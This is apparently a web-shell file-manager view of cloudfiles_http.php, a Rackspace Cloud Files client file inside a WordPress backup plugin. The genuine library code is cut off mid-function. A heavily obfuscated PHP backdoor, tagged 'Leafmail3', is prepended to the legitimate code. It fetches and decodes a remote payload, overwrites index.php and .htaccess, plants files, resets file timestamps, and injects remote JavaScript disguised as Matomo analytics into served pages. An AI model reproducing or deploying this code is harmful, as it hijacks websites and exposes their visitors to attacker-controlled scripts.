0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
smallnotebookcomputers.org
/
wp-content__d9c9c01
/
plugins
/
backupbuddy
/
destinations
/
rackspace
/
lib
/
rackspace
/
[
Home
]
File: cloudfiles_http.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /** * This is an HTTP client class for Cloud Files. It uses PHP's cURL module * to handle the actual HTTP request/response. This is NOT a generic HTTP * client class and is only used to abstract out the HTTP communication for * the PHP Cloud Files API. * * This module was designed to re-use existing HTTP(S) connections between * subsequent operations. For example, performing multiple PUT operations * will re-use the same connection. * * This modules also provides support for streaming content into and out * of Cloud Files. The majority (all?) of the PHP HTTP client modules expect * to read the server's response into a string variable. This will not work * with large files without killing your server. Methods like, * get_object_to_stream() and put_object() take an open filehandle * argument for streaming data out of or into Cloud Files. * * Requres PHP 5.x (for Exceptions and OO syntax) * * See COPYING for license information. * * @author Eric "EJ" Johnson <ej@racklabs.com> * @copyright Copyright (c) 2008, Rackspace US, Inc. * @package php-cloudfiles-http */ /** */ require_once("cloudfiles_exceptions.php"); define("PHP_CF_VERSION", "1.7.9"); define("USER_AGENT", sprintf("PHP-CloudFiles/%s", PHP_CF_VERSION)); define("ACCOUNT_CONTAINER_COUNT", "X-Account-Container-Count"); define("ACCOUNT_BYTES_USED", "X-Account-Bytes-Used"); define("CONTAINER_OBJ_COUNT", "X-Container-Object-Count"); define("CONTAINER_BYTES_USED", "X-Container-Bytes-Used"); define("METADATA_HEADER", "X-Object-Meta-"); define("MANIFEST_HEADER", "X-Object-Manifest"); define("CDN_URI", "X-CDN-URI"); define("CDN_SSL_URI", "X-CDN-SSL-URI"); define("CDN_ENABLED", "X-CDN-Enabled"); define("CDN_LOG_RETENTION", "X-Log-Retention"); define("CDN_ACL_USER_AGENT", "X-User-Agent-ACL"); define("CDN_ACL_REFERRER", "X-Referrer-ACL"); define("CDN_TTL", "X-TTL"); define("CDNM_URL", "X-CDN-Management-Url"); define("STORAGE_URL", "X-Storage-Url"); define("AUTH_TOKEN", "X-Auth-Token"); define("AUTH_USER_HEADER", "X-Auth-User"); define("AUTH_KEY_HEADER", "X-Auth-Key"); define("AUTH_USER_HEADER_LEGACY", "X-Storage-User"); define("AUTH_KEY_HEADER_LEGACY", "X-Storage-Pass"); define("AUTH_TOKEN_LEGACY", "X-Storage-Token"); define("CDN_EMAIL", "X-Purge-Email"); /** * HTTP/cURL wrapper for Cloud Files * * This class should not be used directly. It's only purpose is to abstract * out the HTTP communication from the main API. * * @package php-cloudfiles-http */ class CF_Http { private $error_str; private $dbug; private $cabundle_path; private $api_version; # Authentication instance variables # private $storage_url; private $cdnm_url; private $auth_token; # Request/response variables # private $response_status; private $response_reason; private $connections; # Variables used for content/header callbacks # private $_user_read_progress_callback_func; private $_user_write_progress_callback_func; private $_write_callback_type; private $_text_list; private $_account_container_count; private $_account_bytes_used; private $_container_object_count; private $_container_bytes_used; private $_obj_etag; private $_obj_last_modified; private $_obj_content_type; private $_obj_content_length; private $_obj_metadata; private $_obj_manifest; private $_obj_write_resource; private $_obj_write_string; private $_cdn_enabled; private $_cdn_ssl_uri; private $_cdn_uri; private $_cdn_ttl; private $_cdn_log_retention; private $_cdn_acl_user_agent; private $_cdn_acl_referrer; function __construct($api_version) { $this->dbug = False; $this->cabundle_path = NULL; $this->api_version = $api_version; $this->error_str = NULL; $this->storage_url = NULL; $this->cdnm_url = NULL; $this->auth_token = NULL; $this->response_status = NULL; $this->response_reason = NULL; # Curl connections array - since there is no way to "re-set" the # connection paramaters for a cURL handle, we keep an array of # the unique use-cases and funnel all of those same type # requests through the appropriate curl connection. # $this->connections = array( "GET_CALL" => NULL, # GET objects/containers/lists "PUT_OBJ" => NULL, # PUT object "HEAD" => NULL, # HEAD requests "PUT_CONT" => NULL, # PUT container "DEL_POST" => NULL, # DELETE containers/objects, POST objects ); $this->_user_read_progress_callback_func = NULL; $this->_user_write_progress_callback_func = NULL; $this->_write_callback_type = NULL; $this->_text_list = array(); $this->_return_list = NULL; $this->_account_container_count = 0; $this->_account_bytes_used = 0; $this->_container_object_count = 0; $this->_container_bytes_used = 0; $this->_obj_write_resource = NULL; $this->_obj_write_string = ""; $this->_obj_etag = NULL; $this->_obj_last_modified = NULL; $this->_obj_content_type = NULL; $this->_obj_content_length = NULL; $this->_obj_metadata = array(); $this->_obj_manifest = NULL; $this->_cdn_enabled = NULL; $this->_cdn_ssl_uri = NULL; $this->_cdn_uri = NULL; $this->_cdn_ttl = NULL; $this->_cdn_log_retention = NULL; $this->_cdn_acl_user_agent = NULL; $this->_cdn_acl_referrer = NULL; # The OS list with a PHP without an updated CA File for CURL to # connect to SSL Websites. It is the first 3 letters of the PHP_OS # variable. $OS_CAFILE_NONUPDATED=array( "win","dar" ); if (in_array((strtolower (substr(PHP_OS, 0,3))), $OS_CAFILE_NONUPDATED)) $this->ssl_use_cabundle(); } function ssl_use_cabundle($path=NULL) { if ($path) { $this->cabundle_path = $path; } else { $this->cabundle_path = dirname(__FILE__) . "/cacert.pem"; } if (!file_exists($this->cabundle_path)) { throw new IOException("Could not use CA bundle: " . $this->cabundle_path); } return; } # Uses separate cURL connection to authenticate # function authenticate($user, $pass, $acct=NULL, $host=NULL) { $path = array(); if (isset($acct)){ $headers = array( sprintf("%s: %s", AUTH_USER_HEADER_LEGACY, $user), sprintf("%s: %s", AUTH_KEY_HEADER_LEGACY, $pass), ); $path[] = $host; $path[] = rawurlencode(sprintf("v%d",$this->api_version)); $path[] = rawurlencode($acct); } else { $headers = array( sprintf("%s: %s", AUTH_USER_HEADER, $user), sprintf("%s: %s", AUTH_KEY_HEADER, $pass), ); $path[] = $host; } $path[] = "v1.0"; $url = implode("/", $path); $curl_ch = curl_init(); if (!is_null($this->cabundle_path)) { curl_setopt($curl_ch, CURLOPT_SSL_VERIFYPEER, True); curl_setopt($curl_ch, CURLOPT_CAINFO, $this->cabundle_path); } curl_setopt($curl_ch, CURLOPT_VERBOSE, $this->dbug); curl_setopt($curl_ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl_ch, CURLOPT_MAXREDIRS, 4); curl_setopt($curl_ch, CURLOPT_HEADER, 0); curl_setopt($curl_ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl_ch, CURLOPT_USERAGENT, USER_AGENT); curl_setopt($curl_ch, CURLOPT_RETURNTRANSFER, TRUE); 